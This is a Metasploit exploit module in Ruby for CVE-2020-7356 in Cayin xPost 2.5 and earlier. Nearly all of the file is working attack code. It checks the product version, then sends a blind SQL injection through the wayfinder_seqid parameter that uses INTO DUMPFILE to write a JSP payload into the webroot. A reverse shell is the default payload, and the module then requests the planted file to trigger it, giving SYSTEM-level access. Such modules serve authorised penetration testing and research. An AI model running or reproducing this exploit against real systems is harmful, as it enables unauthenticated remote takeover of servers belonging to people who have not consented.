Cayin xPost 2.5 SQL Injection / Remote Code Execution Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cayin xPost wayfinder_seqid SQLi to RCE',
        'Description' => %q{
          This module exploits an unauthenticated SQLi in Cayin xPost <=2.5.  The
          wayfinder_meeting_input.jsp file's wayfinder_seqid parameter can be injected
          with a blind SQLi.  Since this app bundles MySQL and apache Tomcat the
          environment is pretty static and therefore the default settings should
          work.  Results in SYSTEM level access.
          Only the java/jsp_shell_reverse_tcp and java/jsp_shell_bind_tcp payloads
          seem to be valid.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'h00die', # msf module
            'Gjoko Krstic (LiquidWorm) <[email protected]>' # original PoC, discovery
          ],
        'References' =>
          [
            [ 'EDB', '48558' ],
            [ 'URL', 'https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php' ],
            [ 'CVE', '2020-7356' ]
          ],
        'Platform' => ['java', 'win'],
        'Privileged' => true,
        'Arch' => ARCH_JAVA,
        'Targets' =>
          [
            [ 'Automatic Target', {}]
          ],
        'DisclosureDate' => 'Jun 4 2020',

        'DefaultOptions' =>
          {
            'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
          },
        'Payload' => # meterpreter is too large for payload space
          {
            'Space' => 2000,
            'DisableNops' => true
          },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'The URI of Cayin xPost', '/']),
        OptString.new('LOCALWEBROOT', [true, 'Local install path webroot', 'C:/CayinApps/webapps/' ]), # default location
        OptString.new('PAYLOADNAME', [false, 'Name of payload file to write', ''])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'cayin', 'js', 'English', 'language.js')
    )

    if res.nil? || res.code != 200
      return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
    end

    %r{// xPost v(?<version>[\d\.]+) } =~ res.body

    if version && Gem::Version.new(version) <= Gem::Version.new('2.5')
      print_good("Version Detected: #{version}")
      return CheckCode::Appears
    end

    # try a backup plan, at least verify the title
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'cayin', 'index.jsp')
    )

    if res.nil? || res.code != 200
      return CheckCode::Safe('Could not connect to the web service, check URI Path and IP')

    end

    if res.body =~ %r{<title>xPost</title>}
      vprint_good('HTML Title includes xPost')
      return CheckCode::Detected
    end
    CheckCode::Safe
  rescue ::Rex::ConnectionError
    CheckCode::Safe('Could not connect to the web service, check URI Path and IP')
  end

  def exploit
    filename = datastore['PAYLOADNAME'].blank? ? "#{rand_text_alphanumeric(6..12)}.jsp" : datastore['PAYLOADNAME']
    filename = "#{filename}.jsp" unless filename.end_with? '.jsp'

    vprint_status("Utilizing payload filename #{filename}")
    vprint_status("Payload Size: #{payload.encoded.length}")
    vprint_status("Payload Size Encoded: #{payload.encoded.unpack1('H*').length}")

    payload_request = "-251' UNION ALL SELECT 0x"
    payload_request << payload.encoded.unpack1('H*')
    payload_request << ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL '
    payload_request << "INTO DUMPFILE '#{datastore['LOCALWEBROOT']}#{filename}'-- -"
    payload_request.gsub!(' ', '%20')

    vprint_status('Attempting Exploitation')
    uri = normalize_uri(target_uri.path, 'cayin', 'wayfinder', 'wayfinder_meeting_input.jsp')
    # use raw to prevent encoding of injection characters
    res = send_request_raw(
      'uri' => "#{uri}?wayfinder_seqid=#{payload_request}"
    )

    fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?

    if res.code == 400
      fail_with(Failure::UnexpectedReply, "#{peer} - Payload too large, utilize a smaller payload")
    end

    if res.code != 302
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response to injection")
    end

    register_file_for_cleanup("#{datastore['LOCALWEBROOT']}#{filename}")

    vprint_status('Triggering uploaded payload')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, filename)
    )
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end